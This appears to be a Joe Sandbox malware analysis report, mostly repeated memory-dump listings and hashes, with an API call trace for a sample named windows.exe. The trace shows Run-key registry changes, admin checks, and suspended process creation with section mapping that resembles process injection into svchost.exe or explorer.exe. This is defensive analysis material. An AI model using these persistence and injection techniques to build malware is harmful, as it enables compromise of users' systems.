Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 2a6fc68b12f929221572b977a276d954dc1b504fb11ee792382b7e6aabc36e88
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: 2a6fc68b12f929221572b977a276d954dc1b504fb11ee792382b7e6aabc36e88
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C5611 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: e9fb8b76ce4a4954708b40b84fec7bc5d3772b7d214efe246b396d9fb10aeb79
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: e9fb8b76ce4a4954708b40b84fec7bc5d3772b7d214efe246b396d9fb10aeb79
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C5673 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 36ef8ac3524665b3a8d2fcbee60655bd231882ab284d5458f483d362be65411c
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: 36ef8ac3524665b3a8d2fcbee60655bd231882ab284d5458f483d362be65411c
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C564C Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: e65a196ab0346fa3ba668473789530c6bb5692fee19f1da8d03c1ba5392b3cd0
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: e65a196ab0346fa3ba668473789530c6bb5692fee19f1da8d03c1ba5392b3cd0
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Analysis Process: windows.exePID: 8164, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	9.5%
Signature Coverage:	0%
Total number of Nodes:	686
Total number of Limit Nodes:	46

Executed Functions

Function 00921000 Relevance: 184.5, APIs: 90, Strings: 15, Instructions: 734stringsynchronizationthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0092105C
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00921072
ExitProcess.KERNEL32 ref: 0092107E
GetCurrentProcess.KERNEL32 ref: 009210AA
CreateMutexW.KERNELBASE(0000000C,00000000,{298EF64F-9724-4367-96E8-8BCBA728A252}), ref: 009210DF
ExitProcess.KERNEL32 ref: 009210F5
RtlExitUserThread.NTDLL(00000000), ref: 00921139
OpenEventW.KERNEL32(00100002,00000000,{30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}), ref: 00921155
RtlExitUserThread.NTDLL(00000000), ref: 0092116C
SetEvent.KERNEL32(00000000), ref: 00921179
CloseHandle.KERNEL32(00000000), ref: 00921186
RtlExitUserThread.NTDLL(00000000), ref: 00921193
OpenMutexW.KERNEL32(00100000,00000000,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 009211C0
CloseHandle.KERNEL32(00000000), ref: 009211DC
CreateMutexW.KERNELBASE(00000000,00000001,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 009211F3
ExitProcess.KERNEL32 ref: 009211FF

Part of subcall function 00932680: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0093269B
Part of subcall function 00932680: RegDeleteValueW.ADVAPI32(?,00996FC8,?,?,00921109), ref: 009326AE
Part of subcall function 00932680: RegCloseKey.ADVAPI32(?,?,?,00921109), ref: 009326B8
Part of subcall function 00932680: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 009326D5
Part of subcall function 00932680: RegDeleteValueW.ADVAPI32(?,00997016,?,?,00921109), ref: 009326E8
Part of subcall function 00932680: RegCloseKey.ADVAPI32(?,?,?,00921109), ref: 009326F2

ExitProcess.KERNEL32 ref: 0092124A
ExitProcess.KERNEL32 ref: 00921268

Part of subcall function 00921C80: CreateEventW.KERNEL32(00000000,00000001,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 00921CA2
Part of subcall function 00921C80: _memset.LIBCMT ref: 00921CCC
Part of subcall function 00921C80: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00921CE0
Part of subcall function 00921C80: _memset.LIBCMT ref: 00921D05
Part of subcall function 00921C80: __snwprintf.LIBCMT ref: 00921D2F
Part of subcall function 00921C80: _memset.LIBCMT ref: 00921D70
Part of subcall function 00921C80: GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00921D84
Part of subcall function 00921C80: LocalAlloc.KERNEL32(00000040,00000DF0), ref: 00921DA3
Part of subcall function 00921C80: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00921DD9
Part of subcall function 00921C80: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00921DF3

LocalFree.KERNEL32(?), ref: 009212CD
CreateMutexW.KERNELBASE(00000000,00000001,{7146D285-3342-474C-BB25-39FBDB96F949}), ref: 009212DC
ExitProcess.KERNEL32 ref: 009212F3
ExitProcess.KERNEL32 ref: 00921308

Part of subcall function 0093C3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0093C3DB
Part of subcall function 0093C3A0: CheckTokenMembership.KERNELBASE(00000000,?,00000000), ref: 0093C3F4
Part of subcall function 0093C3A0: FreeSid.ADVAPI32(?), ref: 0093C409

CreateMutexW.KERNELBASE(00000000,00000001,{21AA2932-B56E-4A88-96A8-ED25B3407693}), ref: 00921317
ExitProcess.KERNEL32 ref: 0092132E

Part of subcall function 0093C090: RtlGetVersion.NTDLL(0000011C), ref: 0093C0DA

CreateEventW.KERNEL32(00000000,00000001,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092134C
ExitProcess.KERNEL32 ref: 00921362
GetModuleFileNameW.KERNEL32(00000000,?,00007FFF), ref: 00921390
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009213F8
GetTempPathW.KERNEL32(00007FFF,?), ref: 0092141D
lstrcmpiW.KERNEL32(?,?), ref: 0092144F
lstrcmpiW.KERNEL32(?,?), ref: 0092146B
GetCommandLineW.KERNEL32 ref: 00921479
CommandLineToArgvW.SHELL32(?,?), ref: 00921493
lstrcmpiW.KERNEL32(?,{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}), ref: 009214AE
lstrcmpiW.KERNEL32(?,{76E4A29C-8902-45F6-B7AB-AE36C3274D0C}), ref: 009214C7
lstrcmpiW.KERNEL32(?,{D8E15931-E2AD-40B5-A4D1-41BD1741249E}), ref: 009214E0

Strings

%s\explorer.exe, xrefs: 00921703
{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 009219DF
{76E4A29C-8902-45F6-B7AB-AE36C3274D0C}, xrefs: 009214B8
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 00921117, 00921341, 00921368
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 009211B4, 009211EA
{31D5D6FC-531F-4F51-88B8-2A46318EDC55}, xrefs: 00921ADC
%s\svchost.exe, xrefs: 00921744
{298EF64F-9724-4367-96E8-8BCBA728A252}, xrefs: 009210D1
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 00921A5D
%s\cmd.exe, xrefs: 00921788
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 009214D1
{30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}, xrefs: 00921149, 00921964
{7146D285-3342-474C-BB25-39FBDB96F949}, xrefs: 009212D3
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 0092130E, 00921334
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 0092149F

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Exit$Process$Create$Mutexlstrcmpi$CloseEventOpen_memset$LocalThreadUser$AddressAllocCommandCurrentDeleteDirectoryFileFreeHandleLineModuleNameProcValue$AllocateArgvCheckInitializeMembershipPathTempTokenVersionWindows__snwprintf
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${21AA2932-B56E-4A88-96A8-ED25B3407693}${298EF64F-9724-4367-96E8-8BCBA728A252}${30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}${31D5D6FC-531F-4F51-88B8-2A46318EDC55}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${7146D285-3342-474C-BB25-39FBDB96F949}${76E4A29C-8902-45F6-B7AB-AE36C3274D0C}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1123704228-1711468988
Opcode ID: f1a5fa0372967666d64d81840dd9a4ce4c1754f97b24aaf2e7150df5eb42f551
Instruction ID: daf6ab05b97429b0d703b89df7c8404f5cd78eb33a85f2545222a0835cf0f827
Opcode Fuzzy Hash: f1a5fa0372967666d64d81840dd9a4ce4c1754f97b24aaf2e7150df5eb42f551
Instruction Fuzzy Hash: 3462A5B0A54328DBDB20DFA4EC89F9977B8BF94705F1044AAF209A61D4DBB45AC0DF11

Function 009338D0 Relevance: 110.8, APIs: 45, Strings: 18, Instructions: 565
nativeprocessstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 009338D9
_memset.LIBCMT ref: 00933906
lstrcpyW.KERNEL32(?,?), ref: 00933919

Part of subcall function 00921C60: _wcsrchr.LIBCMT ref: 00921C6C

_memset.LIBCMT ref: 00933940
CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 0093398A
NtCreateSection.NTDLL(00000000,00000006,00000000,000005F0,00000004,08000000,00000000), ref: 00933A0B
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00933A60
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 00933AAB
